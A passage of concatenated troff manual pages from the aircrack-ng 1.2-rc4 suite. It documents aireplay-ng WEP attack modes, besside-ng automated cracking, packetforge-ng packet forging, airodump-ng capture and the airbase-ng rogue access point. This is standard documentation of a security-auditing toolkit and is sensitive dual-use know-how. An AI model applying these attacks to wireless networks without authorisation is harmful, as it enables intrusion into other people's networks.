--arpreplay The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably. The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs which allow you to determine the WEP key. .TP .I -4, --chopchop This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet. .TP .I -5, --fragment This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack. .TP .I -6, --caffe-latte In general, for an attack to work, the attacker has to be in the range of an AP and a connected client (fake or real). Caffe Latte attacks allows one to gather enough packets to crack a WEP key without the need of an AP, it just need a client to be in range. .TP .I -7, --cfrag This attack turns IP or ARP packets from a client into ARP request against the client. This attack works especially well against ad-hoc networks. As well it can be used against softAP clients and normal AP clients. .TP .I -8, --migmode This attack works against Cisco Aironet access points configured in WPA Migration Mode, which enables both WPA and WEP clients to associate to an access point using the same Service Set Identifier (SSID). The program listens for a WEP-encapsulated broadcast ARP packet, bitflips it to make it into an ARP coming from the attacker\(aqs MAC address and retransmits it to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV and also to forward the ARP reply to the attacker with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IV as does the ARP reply forwarded to the attacker by the access point. It is all these new IVs which allow you to determine the WEP key. .TP .I -9, --test Tests injection and quality. .SH FRAGMENTATION VERSUS CHOPCHOP .PP .PP .B Fragmentation: .TP .PP .I Pros .br - Can obtain the full packet length of 1500 bytes XOR. This means you can subsequently pretty well create any size of packet. .br - May work where chopchop does not .br - Is extremely fast. It yields the XOR stream extremely quickly when successful. .TP .PP .I Cons .br - Setup to execute the attack is more subject to the device drivers. For example, Atheros does not generate the correct packets unless the wireless card is set to the mac address you are spoofing. .br - You need to be physically closer to the access point since if any packets are lost then the attack fails. .PP .B Chopchop .TP .PP .I Pro .br - May work where frag does not work. .TP .PP .I Cons .br - Cannot be used against every access point. .br - The maximum XOR bits is limited to the length of the packet you chopchop against. .br - Much slower then the fragmentation attack. .br .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/besside-ng.80000644000000000000000000000340112660207441016625 0ustar rootroot.TH BESSIDE-NG 8 "February 2016" "Version 1.2-rc4" .SH NAME besside-ng - crack a WEP or WPA key without user intervention and collaborate with WPA cracking statistics .SH SYNOPSIS .B besside-ng [options] .SH DESCRIPTION .BI besside-ng is a tool wich will crack all the WEP networks in range and log all the WPA handshakes. WPA handshakes can be uploaded to the online cracking service at wpa.darkircop.org. .BR Wpa.darkircop.com also provides useful statistics based on user-submitted capture files about the feaseability of WPA cracking. .PP .TP .I -b Specifies the target's BSSID .TP .I -s Where to upload capture file for cracking. A good choice is wpa.darkircop.org .TP .I -c Channel lock .TP .I -p Packages per second to send (flood rate). .TP .I -W Crack only WPA networks .TP .I -v Verbos mode. Use -vv for more verbose, -vv for even more and so on. .TP .I -h Help screen .SH AUTHOR This manual page was written by David Francos Cuartero. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/packetforge-ng.10000644000000000000000000000503712660207441017501 0ustar rootroot.TH PACKETFORGE-NG 1 "February 2016" "Version 1.2-rc4" .SH NAME packetforge-ng - forge packets: ARP, UDP, ICMP or custom packets. .SH SYNOPSIS .B packetforge-ng .SH DESCRIPTION .BI packetforge-ng is a tool to create encrypted packets that can subsequently be used for injection. You may create various types of packets such as arp requests, UDP, ICMP and custom packets. The most common use is to create ARP requests for subsequent injection. .br To create an encrypted packet, you must have a PRGA (pseudo random genration algorithm) file. This is used to encrypt the packet you create. This is typically obtained from aireplay-ng chopchop or fragmentation attacks. .SH OPTIONS .PP .TP .I -H, --help Shows the help screen. .TP .I -p Set frame control word (hex) .TP .I -a Set Access Point MAC addres .TP .I -c Set Destination MAC address .TP .I -h Set Source MAC address .TP .I -j set FromDS bit .TP .I -o clear ToDS bit .TP .I -e disable WEP encryption .TP .I -k Set destination IP (and port) .TP .I -l Set source IP (and port) .TP .I -w Write packet to this pcap file .TP .I -r Read packet from this pcap file .TP .I -y Read PRGA from this file .TP .I -t Set Time To Live in IP-Header .TP .I -s Set size of the generated null packet. .TP .I -0, --arp Forge an ARP packet .TP .I -1, --udp Forge an UDP packet .TP .I -2, --icmp Forge an ICMP packet .TP .I -3, --null Forge a llc null packet .TP .I -9, --custom Build a custom packet, requires \-r to read an unencrypted frame out of a pcap file. .SH EXAMPLE .B packetforge-ng \-y test.xor \-a 00:09:5b:12:40:cc \-h 00:10:2a:cb:30:14 \-k 192.168.1.100 \-l 192.168.1.1 \-w arp-request.cap .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/airolib-ng.10000644000000000000000000000432512660207441016627 0ustar rootroot.TH AIROLIB-NG 1 "February 2016" "Version 1.2-rc4" .SH NAME airolib-ng - manage and create a WPA/WPA2 pre-computed hashes tables .SH SYNOPSIS .B airolib-ng [options] .SH DESCRIPTION .BI airolib-ng is a tool for the aircrack-ng suite to store and manage essid and password lists, compute their Pairwise Master Keys (PMKs) and use them in WPA/WPA2 cracking. The program uses the lightweight SQLite3 database as the storage mechanism which is available on most platforms. The SQLite3 database was selected taking in consideration platform availability plus management, memory and disk overhead. .SH DATABASE .TP .I database It is name of the database file. Optionally specify the full path. .SH OPERATION .TP .I --stats Output information about the database. .TP .I --sql Execute specified SQL statement. .TP .I --clean [all] Clean the database from old junk. When specifying \(aqall\(aq, it will also reduce filesize if possible and run an integrity check. .TP .I --batch Start batch-processing all combinations of ESSIDs and passwords. .TP .I --verify [all] Verify a set of randomly chosen PMKs. If \(aqall\(aq is given, all invalid PMK in the database will be deleted. .TP .I --import [essid|passwd] Import a flat file as a list of ESSIDs or passwords. .TP .I import cowpatty Import a coWPAtty file. .TP .I --export cowpatty Export to a cowpatty file. .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/airodump-ng-oui-update.80000644000000000000000000000212212660207441021100 0ustar rootroot.TH AIRODUMP-NG-OUI-UPDATE 8 "February 2016" "Version 1.2-rc4" .SH NAME airodump-ng-oui-updater - IEEE oui list updater for airodump-ng .SH SYNOPSIS .B airodump-ng-oui-updater .SH DESCRIPTION .BI airodump-ng-oui-updater downloads and parses IEEE OUI list. .SH AUTHOR This manual page was written by David Francos Cuartero. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .PP .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/airodump-ng.80000644000000000000000000003074012660207441017035 0ustar rootroot.TH AIRODUMP-NG 8 "February 2016" "Version 1.2-rc4" .SH NAME airodump-ng - a wireless packet capture tool for aircrack-ng .SH SYNOPSIS .B airodump-ng [options] .SH DESCRIPTION .BI airodump-ng is used for packet capturing of raw 802.11 frames for the intent of using them with aircrack-ng. If you have a GPS receiver connected to the computer, airodump-ng is capable of logging the coordinates of the found access points. Additionally, airodump-ng writes out a text file containing the details of all access points and clients seen. .SH OPTIONS .PP .TP .I -H, --help Shows the help screen. .TP .I -i, --ivs It only saves IVs (only useful for cracking). If this option is specified, you have to give a dump prefix (\-\-write option) .TP .I -g, --gpsd Indicate that airodump-ng should try to use GPSd to get coordinates. .TP .I -w , --write Is the dump file prefix to use. If this option is not given, it will only show data on the screen. Beside this file a CSV file with the same filename as the capture will be created. .TP .I -e, --beacons It will record all beacons into the cap file. By default it only records one beacon for each network. .TP .I -u , --update Delay seconds delay between display updates (default: 1 second). Useful for slow CPU. .TP .I --showack Prints ACK/CTS/RTS statistics. Helps in debugging and general injection optimization. It is indication if you inject, inject too fast, reach the AP, the frames are valid encrypted frames. Allows one to detect "hidden" stations, which are too far away to capture high bitrate frames, as ACK frames are sent at 1Mbps. .TP .I -h Hides known stations for \-\-showack. .TP .I --berlin Time before removing the AP/client from the screen when no more packets are received (Default: 120 seconds). See airodump-ng source for the history behind this option ;). .TP .I -c [,[,...]], --channel [,[,...]] Indicate the channel(s) to listen to. By default airodump-ng hop on all 2.4GHz channels. .TP .I -b , --band Indicate the band on which airodump-ng should hop. It can be a combination of \(aqa\(aq, \(aqb\(aq and \(aqg\(aq letters (\(aqb\(aq and \(aqg\(aq uses 2.4GHz and \(aqa\(aq uses 5GHz). Incompatible with --channel option. .TP .I -s , --cswitch Defines the way airodump-ng sets the channels when using more than one card. Valid values: 0 (FIFO, default value), 1 (Round Robin) or 2 (Hop on last). .TP .I -r Reads packet from a file. .TP .I -x Active Scanning Simulation (send probe requests and parse the probe responses). .TP .I -M, --manufacturer Display a manufacturer column with the information obtained from the IEEE OUI list. See airodump-ng-oui-update(8) .TP .I -U, --uptime Display APs uptime obtained from its beacon timestamp. .TP .I -W, --wps Display a WPS column with WPS version, config method(s), AP Setup Locked obtained from APs beacon or probe response (if any). .TP .I --output-format Define the formats to use (separated by a comma). Possible values are: pcap, ivs, csv, gps, kismet, netxml. The default values are: pcap, csv, kismet, kismet-newcore. \(aqpcap\(aq is for recording a capture in pcap format, \(aqivs\(aq is for ivs format (it is a shortcut for --ivs). \(aqcsv\(aq will create an airodump-ng CSV file, \(aqkismet\(aq will create a kismet csv file and \(aqkismet-newcore\(aq will create the kismet netxml file. \(aqgps\(aq is a shortcut for --gps. .br Theses values can be combined with the exception of ivs and pcap. .TP .I -I , --write-interval Output file(s) write interval for CSV, Kismet CSV and Kismet NetXML in seconds (minimum: 1 second). By default: 5 seconds. Note that an interval too small might slow down airodump\-ng. .TP .I --ignore-negative-one Removes the message that says \(aqfixed channel : -1\(aq. .PP .B Filter options: .TP .I -t , --encrypt It will only show networks matching the given encryption. May be specified more than once: \(aq\-t OPN \-t WPA2\(aq .TP .I -d , --bssid It will only show networks, matching the given bssid. .TP .I -m , --netmask It will only show networks, matching the given bssid ^ netmask combination. Need \-\-bssid (or \-d) to be specified. .TP .I -a It will only show associated clients. .TP .I -N, --essid Filter APs by ESSID. Can be used several times to match a set of ESSID. .TP .I -R, --essid-regex Filter APs by ESSID using a regular expression. .SH INTERACTION .PP .BI airodump-ng can receive and interpret key strokes while running. The following list describes the currently assigned keys and supposed actions: .TP .I a Select active areas by cycling through these display options: AP+STA; AP+STA+ACK; AP only; STA only .TP .I d Reset sorting to defaults (Power) .TP .I i Invert sorting algorithm .TP .I m Mark the selected AP or cycle through different colors if the selected AP is already marked .TP .I r (De-)Activate realtime sorting - applies sorting algorithm everytime the display will be redrawn .TP .I s Change column to sort by, which currently includes: First seen; BSSID; PWR level; Beacons; Data packets; Packet rate; Channel; Max. data rate; Encryption; Strongest Ciphersuite; Strongest Authentication; ESSID .TP .I SPACE Pause display redrawing/ Resume redrawing .TP .I TAB Enable/Disable scrolling through AP list .TP .I UP Select the AP prior to the currently marked AP in the displayed list if available .TP .I DOWN Select the AP after the currently marked AP if available .PP If an AP is selected or marked, all the connected stations will also be selected or marked with the same color as the corresponding Access Point. .SH EXAMPLES .B airodump-ng \-c 9 wlan0mon .PP Here is an example screenshot: .PP ----------------------------------------------------------------------- .br CH 9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ BAT: 2 hours 10 mins ][ WPA handshake: 00:14:6C:7E:40:80 .br .PP BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID .br .PP 00:09:5B:1C:AA:1D 11 16 10 0 0 11 54. OPN .br 00:14:6C:7A:41:81 34 100 57 14 1 9 11 WEP WEP bigbear .br 00:14:6C:7E:40:80 32 100 752 73 2 9 54 WPA TKIP PSK teddy .br .PP BSSID STATION PWR Rate Lost Frames Probes .br .PP 00:14:6C:7A:41:81 00:0F:B5:32:31:31 51 11-11 2 14 bigbear .br (not associated) 00:14:A4:3F:8D:13 19 11-11 0 4 mossy .br 00:14:6C:7A:41:81 00:0C:41:52:D1:D1 \-1 11-2 0 5 bigbear .br 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 36-24 0 99 teddy .br ----------------------------------------------------------------------- .br .PP .TP .I BSSID MAC address of the access point. In the Client section, a BSSID of "(not associated)" means that the client is not associated with any AP. In this unassociated state, it is searching for an AP to connect with. .TP .I PWR Signal level reported by the card. Its signification depends on the driver, but as the signal gets higher you get closer to the AP or the station. If the BSSID PWR is -1, then the driver doesn\(aqt support signal level reporting. If the PWR is -1 for a limited number of stations then this is for a packet which came from the AP to the client but the client transmissions are out of range for your card. Meaning you are hearing only 1/2 of the communication. If all clients have PWR as -1 then the driver doesn\(aqt support signal level reporting. .TP .I RXQ Only shown when on a fixed channel. Receive Quality as measured by the percentage of packets (management and data frames) successfully received over the last 10 seconds. It\(aqs measured over all management and data frames. That\(aqs the clue, this allows you to read more things out of this value. Lets say you got 100 percent RXQ and all 10 (or whatever the rate) beacons per second coming in. Now all of a sudden the RXQ drops below 90, but you still capture all sent beacons. Thus you know that the AP is sending frames to a client but you can\(aqt hear the client nor the AP sending to the client (need to get closer). Another thing would be, that you got a 11MB card to monitor and capture frames (say a prism2.5) and you have a very good position to the AP. The AP is set to 54MBit and then again the RXQ drops, so you know that there is at least one 54MBit client connected to the AP. .TP .I Beacons Number of beacons sent by the AP. Each access point sends about ten beacons per second at the lowest rate (1M), so they can usually be picked up from very far. .TP .I #Data Number of captured data packets (if WEP, unique IV count), including data broadcast packets. .TP .I #/s Number of data packets per second measure over the last 10 seconds. .TP .I CH Channel number (taken from beacon packets). Note: sometimes packets from other channels are captured even if airodump-ng is not hopping, because of radio interference. .TP .I MB Maximum speed supported by the AP. If MB = 11, it\(aqs 802.11b, if MB = 22 it\(aqs 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported. \(aqe\(aq indicates that the network has QoS (802.11e) enabled. .TP .I ENC Encryption algorithm in use. OPN = no encryption,"WEP?" = WEP or higher (not enough data to choose between WEP and WPA/WPA2), WEP (without the question mark) indicates static or dynamic WEP, and WPA or WPA2 if TKIP or CCMP or MGT is present. .TP .I CIPHER The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or WEP104. Not mandatory, but TKIP is typically used with WPA and CCMP is typically used with WPA2. WEP40 is displayed when the key index is greater then 0. The standard states that the index can be 0-3 for 40bit and should be 0 for 104 bit. .TP .I AUTH The authentication protocol used. One of MGT (WPA/WPA2 using a separate authentication server), SKA (shared key for WEP), PSK (pre-shared key for WPA/WPA2), or OPN (open for WEP). .TP .I WPS This is only displayed when --wps (or -W) is specified. If the AP supports WPS, the first field of the column indicates version supported. The second field indicates WPS config methods (can be more than one method, separated by comma): USB = USB method, ETHER = Ethernet, LAB = Label, DISP = Display, EXTNFC = External NFC, INTNFC = Internal NFC, NFCINTF = NFC Interface, PBC = Push Button, KPAD = Keypad. Locked is displayed when AP setup is locked. .TP .I ESSID The so-called "SSID", which can be empty if SSID hiding is activated. In this case, airodump-ng will try to recover the SSID from probe responses and association requests. .TP .I STATION MAC address of each associated station or stations searching for an AP to connect with. Clients not currently associated with an AP have a BSSID of "(not associated)". .TP .I Rate This is only displayed when using a single channel. The first number is the last data rate from the AP (BSSID) to the Client (STATION). The second number is the last data rate from Client (STATION) to the AP (BSSID). .TP .I Lost It means lost packets coming from the client. To determine the number of packets lost, there is a sequence field on every non-control frame, so you can subtract the second last sequence number from the last sequence number and you know how many packets you have lost. .TP .I Packets The number of data packets sent by the client. .TP .I Probes The ESSIDs probed by the client. These are the networks the client is trying to connect to if it is not currently connected. .PP The first part is the detected access points. The second part is a list of detected wireless clients, stations. By relying on the signal power, one can even physically pinpoint the location of a given station. .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/makeivs-ng.10000644000000000000000000000250712660207441016645 0ustar rootroot.TH MAKEIVS-NG 1 "February 2016" "Version 1.2-rc4" .SH NAME makeivs - generate a dummy IVS dump file with a specific WEP key .SH SYNOPSIS .B makeivs <104-bit key> .SH DESCRIPTION .BI makeivs is a tool designed to generate an IVS dump file with an inputed WEP key. The aim of is tools is to provide a way to create dumps with a known encryption key for tests. .SH EXAMPLE .B makeivs makeivs out.ivs 123456789ABCDEF123456789AB .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/airbase-ng.80000644000000000000000000002661212660207441016626 0ustar rootroot.TH AIRBASE-NG 8 "February 2016" "Version 1.2-rc4" .SH NAME airbase-ng - multi-purpose tool aimed at attacking clients as opposed to the Access Point (AP) itself .SH SYNOPSIS .B airbase-ng [options] .SH DESCRIPTION .BI airbase-ng is multi-purpose tool aimed at attacking clients as opposed to the Access Point (AP) itself. Since it is so versatile and flexible, summarizing it is a challenge. Here are some of the feature highlights: .br - Implements the Caffe Latte WEP client attack .br - Implements the Hirte WEP client attack .br - Ability to cause the WPA/WPA2 handshake to be captured .br - Ability to act as an ad-hoc Access Point .br - Ability to act as a full Access Point .br - Ability to filter by SSID or client MAC addresses .br - Ability to manipulate and resend packets .br - Ability to encrypt sent packets and decrypt received packets The main idea is of the implementation is that it should encourage clients to associate with the fake AP, not prevent them from accessing the real AP. A tap interface (atX) is created when airbase-ng is run. This can be used to receive decrypted packets or to send encrypted packets. As real clients will most probably send probe requests for common/configured networks, these frames are important for binding a client to our softAP. In this case, the AP will respond to any probe request with a proper probe response, which tells the client to authenticate to the airbase-ng BSSID. That being said, this mode could possibly disrupt the correct functionality of many APs on the same channel. .SH OPTIONS .PP .TP .I -H, --help Shows the help screen. .TP .I -a If the BSSID is not explicitly specified by using "-a ", then the current MAC of the specified interface is used. .TP .I -i Also capture and process from this interface in addition to the replay interface. .TP .I -w If WEP should be used as encryption, then the parameter "-w " sets the en-/decryption key. This is sufficient to let airbase-ng set all the appropriate flags by itself. If the softAP operates with WEP encryption, the client can choose to use open system authentication or shared key authentication. Both authentication methods are supported by airbase-ng. But to get a keystream, the user can try to force the client to use shared key authentication. "-s" forces a shared key auth and "-S " sets the challenge length. .TP .I -h This is the source MAC for the man-in-the-middle attack. The "-M" must also be specified. .TP .I -f If this option is not specified, it defaults to "-f allow". This means the various client MAC filters (-d and -D) define which clients to accept. By using the "-f disallow" option, this reverses selection and causes airbase to ignore the clients specified by the filters. .TP .I -W <0|1> This sets the beacon WEP flag. Remember that clients will normally only connect to APs which are the same as themselves. Meaning WEP to WEP, open to open. The "auto" option is to allow airbase-ng to automatically set the flag based on context of the other options specified. For example, if you set a WEP key with -w, then the beacon flag would be set to WEP. One other use of "auto" is to deal with clients which can automatically adjust their connection type. However, these are few and far between. In practice, it is best to set the value to the type of clients you are dealing with. .TP .I -q This suppresses printing any statistics or status information. .TP .I -v This prints additional messages and details to assist in debugging. .TP .I -M This option is not implemented yet. It is a man-in-the-middle attack between specified clients and BSSIDs. .TP .I -A, --ad-hoc This causes airbase-ng to act as an ad-hoc client instead of a normal Access Point. In ad-hoc mode airbase-ng also sends beacons, but doesn\(aqt need any authentication/association. It can be activated by using "-A". The soft AP will adjust all flags needed to simulate a station in ad-hoc mode automatically and generate a random MAC, which is used as CELL MAC instead of the BSSID. This can be overwritten by the "-a " tag. The interface MAC will then be used as source mac, which can be changed with "-h ". .TP .I -Y The parameter "-Y" enables the "external processing" Mode. This creates a second interface "atX", which is used to replay/modify/drop or inject packets at will. This interface must also be brought up with ifconfig and an external tool is needed to create a loop on that interface. The packet structure is rather simple: the ethernet header (14 bytes) is ignored and right after that follows the complete ieee80211 frame the same way it is going to be processed by airbase-ng (for incoming packets) or before the packets will be sent out of the wireless card (outgoing packets). This mode intercepts all data packets and loops them through an external application, which decides what happens with them. The MAC and IP of the second tap interface doesn\(aqt matter, as real ethernet frames on this interface are dropped dropped anyway. There are 3 arguments for "-Y": "in", "out" and "both", which specify the direction of frames to loop through the external application. Obviously "in" redirects only incoming (through the wireless NIC) frames, while outgoing frames aren\(aqt touched. "out" does the opposite, it only loops outgoing packets and "both" sends all both directions through the second tap interface. There is a small and simple example application to replay all frames on the second interface. The tool is called "replay.py" and is located in "./test". It\(aqs written in python, but the language doesn\(aqt matter. It uses pcapy to read the frames and scapy to possibly alter/show and reinject the frames. The tool as it is, simply replays all frames and prints a short summary of the received frames. The variable "packet" contains the complete ieee80211 packet, which can easily be dissected and modified using scapy. This can be compared to ettercap filters, but is more powerful, as a real programming language can be used to build complex logic for filtering and packet customization. The downside on using python is, that it adds a delay of around 100ms and the cpu utilizations is rather large on a high speed network, but its perfect for a demonstration with only a few lines of code. .TP .I -c This is used to specify the channel on which to run the Access Point. .TP .I -X, --hidden This causes the Access Point to hide the SSID and to not broadcast the value. .TP .I -s When specfiied, this forces shared key authentication for all clients. The soft AP will send an "authentication method unsupported" rejection to any open system authentication request if "-s" is specified. .TP .I -S It sets the shared key challenge length, which can be anything from 16 to 1480. The default is 128 bytes. It is the number of bytes used in the random challenge. Since one tag can contain a maximum size of 255 bytes, any value above 255 creates several challenge tags until all specified bytes are written. Many clients ignore values different than 128 bytes so this option may not always work. .TP .I -L, --caffe-latte Airbase-ng also contains the new caffe-latte attack, which is also implemented in aireplay-ng as attack "-6". It can be used with "-L" or "caffe-latte". This attack specifically works against clients, as it waits for a broadcast arp request, which happens to be a gratuitous arp. See this for an explaination of what a gratuitous arp is. It then flips a few bits in the sender MAC and IP, corrects the ICV (crc32) value and sends it back to the client, where it came from. The point why this attack works in practice is, that at least windows sends gratuitous arps after a connection on layer 2 is established and a static ip is set, or dhcp fails and windows assigned an IP out of 169.254.X.X. "-x " sets the number of packets per second to send when performing the caffe-latte attack. At the moment, this attack doesn\(aqt stop, it continuously sends arp requests. Airodump-ng is needed to capture the replies. .TP .I -N, --cfrag This attack listens for an ARP request or IP packet from the client. Once one is received, a small amount of PRGA is extracted and then used to create an ARP request packet targeted to the client. This ARP request is actually made of up of multiple packet fragments such that when received, the client will respond. This attack works especially well against ad-hoc networks. As well it can be used against softAP clients and normal AP clients. .TP .I -x This sets the number of packets per second that packets will be sent (default: 100). .TP .I -y When using this option, the fake AP will not respond to broadcast probes. A broadcast probe is where the the specific AP is not identified uniquely. Typically, most APs will respond with probe responses to a broadcast probe. This flag will prevent this happening. It will only respond when the specific AP is uniquely requested. .TP .I -0 This enables all WPA/WPA2/WEP Tags to be enabled in the beacons sent. It cannot be specified when also using -z or -Z. .TP .I -z This specifies the WPA beacon tags. The valid values are: 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104. .TP .I -Z same as -z, but for WPA2 .TP .I -V This specifies the valid EAPOL types. The valid values are: 1=MD5 2=SHA1 3=auto .TP .I -F This option causes airbase-ng to write all sent and received packets to a pcap file on disk. This is the file prefix (like airodump-ng -w). .TP .I -P This causes the fake access point to respond to all probes regardless of the ESSIDs specified. .TP .I -I This sets the time in milliseconds between each beacon. .TP .I -C The wildcard ESSIDs will also be beaconed this number of seconds. A good typical value to use is "-C 60" (require -P). .TP .I -n ANonce (nonce from the AP) to use instead of a randomized one. It must be 64 hexadecimal characters. .PP .TP .B Filter options: .TP .I --bssid , -b BSSID to filter/use. .TP .I --bssids , -B Read a list of BSSIDs out of that file. .TP .I --client , -d MAC of client to accept. .TP .I --clients , -D Read a list of client\(aqs MACs out of that file .TP .I --essid , -e Specify a single ESSID. For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names .TP .I --essids , -E Read a list of ESSIDs out of that file. It will use the same BSSID for all AP which can generate some interesting output in Airodump-ng like: http://www.chimplabs.com/blog/2015/09/24/unintentional-fun-with-aircrack-ng-at-derbycon-5-0/ .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .PP .SH SEE ALSO .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br 